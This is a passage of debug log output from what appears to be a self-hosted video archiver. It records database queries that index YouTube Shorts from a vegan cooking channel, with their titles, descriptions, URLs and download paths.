"sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.010 [debug] QUERY OK source="media_items" db=1.9ms idle=4.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-25 18:15:00Z], 1] 20:31:11.011 [debug] QUERY OK source="media_items" db=0.6ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This quinoa breakfast bowl is gluten-free, vegan, packed full of protein and is the most delicious and nutritious way to start your morning! Want to know what I eat on a gluten-free and vegan diet? Well this is a breakfast bowl I have 2-3 times per week as part of my diet. Check out the full video below to find out some of the other recipes I regularly eat on a gluten-free and vegan diet.\n\nFull Video: https://youtu.be/TMKNdPVZHg8", "Hippie Quinoa Breakfast Bowl - Gluten-Free, Vegan and Protein Packed #shorts", "7e831614-d6cd-4c94-a3a9-514a5e4c3972", 1, [], 57, false, "54dcpcoVAuM", "https://www.youtube.com/shorts/54dcpcoVAuM", 423, "/downloads/downloads/alec/Steamy Vegan/2022-05-25 Hippie Quinoa Breakfast Bowl - Gluten-Free, Vegan and Protein Packed #shorts/Hippie Quinoa Breakfast Bowl - Gluten-Free, Vegan and Protein Packed #shorts [54dcpcoVAuM].NA", false, false, true, 4, ~U[2022-05-25 18:15:00Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "This quinoa breakfast bowl is gluten-free, vegan, packed full of protein and is the most delicious and nutritious way to start your morning! Want to know what I eat on a gluten-free and vegan diet? Well this is a breakfast bowl I have 2-3 times per week as part of my diet. Check out the full video below to find out some of the other recipes I regularly eat on a gluten-free and vegan diet.\n\nFull Video: https://youtu.be/TMKNdPVZHg8", "Hippie Quinoa Breakfast Bowl - Gluten-Free, Vegan and Protein Packed #shorts", 1, 57, false, "54dcpcoVAuM", "https://www.youtube.com/shorts/54dcpcoVAuM", "/downloads/downloads/alec/Steamy Vegan/2022-05-25 Hippie Quinoa Breakfast Bowl - Gluten-Free, Vegan and Protein Packed #shorts/Hippie Quinoa Breakfast Bowl - Gluten-Free, Vegan and Protein Packed #shorts [54dcpcoVAuM].NA", true, ~U[2022-05-25 18:15:00Z]] 20:31:11.012 [debug] QUERY OK source="sources" db=0.6ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.014 [debug] QUERY OK source="media_items" db=1.2ms idle=4.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-25 13:00:35Z], 1] 20:31:11.014 [debug] QUERY OK source="media_items" db=0.6ms idle=5.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out the full video for these vegan and gluten free quinoa oat breakfast bars on my channel. These ones are strawberry and banana flavoured and are perfect to meal prep ahead of time and eat throughout the week for breakfast or as a nutritious snack!\n\nFull Video: https://youtu.be/rbG65z34oOI", "Easy Grab and Go Breakfast Bars - Gluten Free and Vegan Breakfast Recipe", "9c854ccb-7f80-4afd-90a0-accf88706ef6", 1, [], 59, false, "yPUuKQ-yH_I", "https://www.youtube.com/shorts/yPUuKQ-yH_I", 424, "/downloads/downloads/alec/Steamy Vegan/2022-05-25 Easy Grab and Go Breakfast Bars - Gluten Free and Vegan Breakfast Recipe/Easy Grab and Go Breakfast Bars - Gluten Free and Vegan Breakfast Recipe [yPUuKQ-yH_I].NA", false, false, true, 4, ~U[2022-05-25 13:00:35Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Check out the full video for these vegan and gluten free quinoa oat breakfast bars on my channel. These ones are strawberry and banana flavoured and are perfect to meal prep ahead of time and eat throughout the week for breakfast or as a nutritious snack!\n\nFull Video: https://youtu.be/rbG65z34oOI", "Easy Grab and Go Breakfast Bars - Gluten Free and Vegan Breakfast Recipe", 1, 59, false, "yPUuKQ-yH_I", "https://www.youtube.com/shorts/yPUuKQ-yH_I", "/downloads/downloads/alec/Steamy Vegan/2022-05-25 Easy Grab and Go Breakfast Bars - Gluten Free and Vegan Breakfast Recipe/Easy Grab and Go Breakfast Bars - Gluten Free and Vegan Breakfast Recipe [yPUuKQ-yH_I].NA", true, ~U[2022-05-25 13:00:35Z]] 20:31:11.017 [debug] QUERY OK source="sources" db=0.4ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.019 [debug] QUERY OK source="media_items" db=1.7ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-25 00:01:25Z], 1] 20:31:11.020 [debug] QUERY OK source="media_items" db=0.7ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["You will absolutely love this easy granola recipe for your yogurt parfaits or to pour a bit of your favourite plant-based milk over. Meal prep a whole batch of this for your week to make morning breakfasts and snack time way easier.\n\nFull Recipe Video Here: https://youtu.be/QGipOq83NUQ", "Easy Granola Recipe for Breakfast or Snack Meal Prep for the Week - Orange Cacao Granola #shorts", "0d825be3-6a59-4dac-babd-6f6f9138a9b1", 1, [], 60, false, "72MEU77fQoQ", "https://www.youtube.com/shorts/72MEU77fQoQ", 425, "/downloads/downloads/alec/Steamy Vegan/2022-05-25 Easy Granola Recipe for Breakfast or Snack Meal Prep for the Week - Orange Cacao Granola #shorts/Easy Granola Recipe for Breakfast or Snack Meal Prep for the Week - Orange Cacao Granola #shorts [72MEU77fQoQ].NA", false, false, true, 4, ~U[2022-05-25 00:01:25Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "You will absolutely love this easy granola recipe for your yogurt parfaits or to pour a bit of your favourite plant-based milk over. Meal prep a whole batch of this for your week to make morning breakfasts and snack time way easier.\n\nFull Recipe Video Here: https://youtu.be/QGipOq83NUQ", "Easy Granola Recipe for Breakfast or Snack Meal Prep for the Week - Orange Cacao Granola #shorts", 1, 60, false, "72MEU77fQoQ", "https://www.youtube.com/shorts/72MEU77fQoQ", "/downloads/downloads/alec/Steamy Vegan/2022-05-25 Easy Granola Recipe for Breakfast or Snack Meal Prep for the Week - Orange Cacao Granola #shorts/Easy Granola Recipe for Breakfast or Snack Meal Prep for the Week - Orange Cacao Granola #shorts [72MEU77fQoQ].NA", true, ~U[2022-05-25 00:01:25Z]] 20:31:11.021 [debug] QUERY OK source="sources" db=0.7ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.022 [debug] QUERY OK source="media_items" db=1.3ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-24 19:53:35Z], 1] 20:31:11.023 [debug] QUERY OK source="media_items" db=0.6ms idle=5.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This easy vegan and gluten-free tofu egg salad is perfect as a sandwich or on top of greens. You absolutely must try this vegan egg salad at your next BBQ or just pack it for your work lunch. It only takes a few minutes to make!\n\nFull Recipe Video Here: https://youtu.be/W3HgjDni794", "The Perfect Vegan Tofu Egg Salad #shorts", "ea0a1610-05e8-426d-a33c-736e90fec3c4", 1, [], 59, false, "Zw48lf5NCL8", "https://www.youtube.com/shorts/Zw48lf5NCL8", 426, "/downloads/downloads/alec/Steamy Vegan/2022-05-24 The Perfect Vegan Tofu Egg Salad #shorts/The Perfect Vegan Tofu Egg Salad #shorts [Zw48lf5NCL8].NA", false, false, true, 2, ~U[2022-05-24 19:53:35Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "This easy vegan and gluten-free tofu egg salad is perfect as a sandwich or on top of greens. You absolutely must try this vegan egg salad at your next BBQ or just pack it for your work lunch. It only takes a few minutes to make!\n\nFull Recipe Video Here: https://youtu.be/W3HgjDni794", "The Perfect Vegan Tofu Egg Salad #shorts", 1, 59, false, "Zw48lf5NCL8", "https://www.youtube.com/shorts/Zw48lf5NCL8", "/downloads/downloads/alec/Steamy Vegan/2022-05-24 The Perfect Vegan Tofu Egg Salad #shorts/The Perfect Vegan Tofu Egg Salad #shorts [Zw48lf5NCL8].NA", true, ~U[2022-05-24 19:53:35Z]] 20:31:11.024 [debug] QUERY OK source="sources" db=0.4ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.025 [debug] QUERY OK source="media_items" db=1.3ms idle=4.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-24 14:53:01Z], 1] 20:31:11.026 [debug] QUERY OK source="media_items" db=0.7ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Feeling a bit icky? Try this DETOX GREEN SMOOTHIE! 🌱 Your body will thank you ☺️ \n\nThe Mojito’s healthier cousin boasts tons of vitamin C and iron (a winning combo for nutrient absorption, btw 😉) she will energize and cleanse you from the inside out. \n\nINGREDIENTS \n1.5 cups water or unsweetened plant milk \n2 cups kale or spinach \n1/2 cup mint leaves \n1 green apple, unpeeled \nJuice of 1 lime \n1/2 cucumber \nA few ice cubes \nHandful frozen mango\n\nSip, sip, hooray 😁 \n\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #healthysmoothie #detoxjuices #greensmoothiesrecipe #easyveganrecipes #lazyveganfood", "Get your glow on and drink this Detox Green Smoothie! 🌱", "005ae547-61e0-4741-a7f7-e526b54e63e3", 1, [], 60, false, "uViUJpV_b-8", "https://www.youtube.com/shorts/uViUJpV_b-8", 427, "/downloads/downloads/alec/Steamy Vegan/2022-05-24 Get your glow on and drink this Detox Green Smoothie! 🌱/Get your glow on and drink this Detox Green Smoothie! 🌱 [uViUJpV_b-8].NA", false, false, true, 2, ~U[2022-05-24 14:53:01Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Feeling a bit icky? Try this DETOX GREEN SMOOTHIE! 🌱 Your body will thank you ☺️ \n\nThe Mojito’s healthier cousin boasts tons of vitamin C and iron (a winning combo for nutrient absorption, btw 😉) she will energize and cleanse you from the inside out. \n\nINGREDIENTS \n1.5 cups water or unsweetened plant milk \n2 cups kale or spinach \n1/2 cup mint leaves \n1 green apple, unpeeled \nJuice of 1 lime \n1/2 cucumber \nA few ice cubes \nHandful frozen mango\n\nSip, sip, hooray 😁 \n\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #healthysmoothie #detoxjuices #greensmoothiesrecipe #easyveganrecipes #lazyveganfood", "Get your glow on and drink this Detox Green Smoothie! 🌱", 1, 60, false, "uViUJpV_b-8", "https://www.youtube.com/shorts/uViUJpV_b-8", "/downloads/downloads/alec/Steamy Vegan/2022-05-24 Get your glow on and drink this Detox Green Smoothie! 🌱/Get your glow on and drink this Detox Green Smoothie! 🌱 [uViUJpV_b-8].NA", true, ~U[2022-05-24 14:53:01Z]] 20:31:11.027 [debug] QUERY OK source="sources" db=0.7ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.029 [debug] QUERY OK source="media_items" db=1.3ms idle=4.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-23 23:23:56Z], 1] 20:31:11.031 [debug] QUERY OK source="media_items" db=0.7ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan, dairy-free, and gluten-free coleslaw will impress all diet types and wow everyone at your next BBQ. Watch the full extended episode where I get my husband to taste test this coleslaw and this is a man who doesn't like coleslaw, so we'll see how that goes. \n\nFull Video: https://youtu.be/GeIpl55gWt8", "The Best Coleslaw For BBQ Season Made Vegan, Dairy-Free and Gluten-Free #shorts", "bbe20510-c1db-4a2f-b95f-b8d54ade6c90", 1, [], 60, false, "TGqTlieRlos", "https://www.youtube.com/shorts/TGqTlieRlos", 428, "/downloads/downloads/alec/Steamy Vegan/2022-05-23 The Best Coleslaw For BBQ Season Made Vegan, Dairy-Free and Gluten-Free #shorts/The Best Coleslaw For BBQ Season Made Vegan, Dairy-Free and Gluten-Free #shorts [TGqTlieRlos].NA", false, false, true, 4, ~U[2022-05-23 23:23:56Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "This vegan, dairy-free, and gluten-free coleslaw will impress all diet types and wow everyone at your next BBQ. Watch the full extended episode where I get my husband to taste test this coleslaw and this is a man who doesn't like coleslaw, so we'll see how that goes. \n\nFull Video: https://youtu.be/GeIpl55gWt8", "The Best Coleslaw For BBQ Season Made Vegan, Dairy-Free and Gluten-Free #shorts", 1, 60, false, "TGqTlieRlos", "https://www.youtube.com/shorts/TGqTlieRlos", "/downloads/downloads/alec/Steamy Vegan/2022-05-23 The Best Coleslaw For BBQ Season Made Vegan, Dairy-Free and Gluten-Free #shorts/The Best Coleslaw For BBQ Season Made Vegan, Dairy-Free and Gluten-Free #shorts [TGqTlieRlos].NA", true, ~U[2022-05-23 23:23:56Z]] 20:31:11.031 [debug] QUERY OK source="sources" db=0.7ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.034 [debug] QUERY OK source="media_items" db=1.9ms idle=5.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-23 18:30:07Z], 1] 20:31:11.035 [debug] QUERY OK source="media_items" db=0.8ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you haven't tried this incredible food pairing of potato chips and chocolate then you must at least once in your life. In our full video we try 10 food pairings that the internet says are amazing and rate them on a weird and wacky 10 point scale. Some are absolutely disgusting and others are incredible and you must try at least once. \n\nFull Video: https://youtu.be/49F_nas-o7o", "The Greatest Food Combination Ever", "523937c6-236d-4849-b8c3-aea3f58e7a47", 1, [], 15, false, "70RJ3177osw", "https://www.youtube.com/shorts/70RJ3177osw", 429, "/downloads/downloads/alec/Steamy Vegan/2022-05-23 The Greatest Food Combination Ever/The Greatest Food Combination Ever [70RJ3177osw].NA", false, false, true, 4, ~U[2022-05-23 18:30:07Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "If you haven't tried this incredible food pairing of potato chips and chocolate then you must at least once in your life. In our full video we try 10 food pairings that the internet says are amazing and rate them on a weird and wacky 10 point scale. Some are absolutely disgusting and others are incredible and you must try at least once. \n\nFull Video: https://youtu.be/49F_nas-o7o", "The Greatest Food Combination Ever", 1, 15, false, "70RJ3177osw", "https://www.youtube.com/shorts/70RJ3177osw", "/downloads/downloads/alec/Steamy Vegan/2022-05-23 The Greatest Food Combination Ever/The Greatest Food Combination Ever [70RJ3177osw].NA", true, ~U[2022-05-23 18:30:07Z]] 20:31:11.035 [debug] QUERY OK source="sources" db=0.7ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.037 [debug] QUERY OK source="media_items" db=1.8ms idle=5.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-23 14:00:18Z], 1] 20:31:11.039 [debug] QUERY OK source="media_items" db=1.1ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This buddha bowl or nourish bowl as I like to call it is packed full of delicious nutrients to make you feel good and it's vegan and gluten-free. I have a full recipe video that shows how I like to make my nourish bowls, check it out below...\n\nFull Video: https://youtu.be/QwOW-lZ0uck", "Healthy Superfood Nourish Bowl - Vegan and Gluten-Free #shorts", "5487eca6-a050-46ef-aa4b-30acbc8f30a0", 1, [], 21, false, "gPsXjz5Mu7A", "https://www.youtube.com/shorts/gPsXjz5Mu7A", 430, "/downloads/downloads/alec/Steamy Vegan/2022-05-23 Healthy Superfood Nourish Bowl - Vegan and Gluten-Free #shorts/Healthy Superfood Nourish Bowl - Vegan and Gluten-Free #shorts [gPsXjz5Mu7A].NA", false, false, true, 4, ~U[2022-05-23 14:00:18Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "This buddha bowl or nourish bowl as I like to call it is packed full of delicious nutrients to make you feel good and it's vegan and gluten-free. I have a full recipe video that shows how I like to make my nourish bowls, check it out below...\n\nFull Video: https://youtu.be/QwOW-lZ0uck", "Healthy Superfood Nourish Bowl - Vegan and Gluten-Free #shorts", 1, 21, false, "gPsXjz5Mu7A", "https://www.youtube.com/shorts/gPsXjz5Mu7A", "/downloads/downloads/alec/Steamy Vegan/2022-05-23 Healthy Superfood Nourish Bowl - Vegan and Gluten-Free #shorts/Healthy Superfood Nourish Bowl - Vegan and Gluten-Free #shorts [gPsXjz5Mu7A].NA", true, ~U[2022-05-23 14:00:18Z]] 20:31:11.039 [debug] QUERY OK source="sources" db=0.5ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.041 [debug] QUERY OK source="media_items" db=1.6ms idle=5.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-22 23:30:02Z], 1] 20:31:11.042 [debug] QUERY OK source="media_items" db=0.6ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For many years I worked retail jobs and you definitely get customers like this. This ones for all of you working your butts off and having to deal with customers like this, I salute you!!!", "How I Felt Every Day Working Retail #shorts", "dd2d54a5-dfbc-4cc3-b49b-af7b1ed1c523", 1, [], 19, false, "UuZg8qc8boo", "https://www.youtube.com/shorts/UuZg8qc8boo", 431, "/downloads/downloads/alec/Steamy Vegan/2022-05-22 How I Felt Every Day Working Retail #shorts/How I Felt Every Day Working Retail #shorts [UuZg8qc8boo].NA", false, false, true, 4, ~U[2022-05-22 23:30:02Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "For many years I worked retail jobs and you definitely get customers like this. This ones for all of you working your butts off and having to deal with customers like this, I salute you!!!", "How I Felt Every Day Working Retail #shorts", 1, 19, false, "UuZg8qc8boo", "https://www.youtube.com/shorts/UuZg8qc8boo", "/downloads/downloads/alec/Steamy Vegan/2022-05-22 How I Felt Every Day Working Retail #shorts/How I Felt Every Day Working Retail #shorts [UuZg8qc8boo].NA", true, ~U[2022-05-22 23:30:02Z]] 20:31:11.043 [debug] QUERY OK source="sources" db=0.3ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.044 [debug] QUERY OK source="media_items" db=1.5ms idle=3.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-22 18:45:00Z], 1] 20:31:11.047 [debug] QUERY OK source="media_items" db=2.7ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES 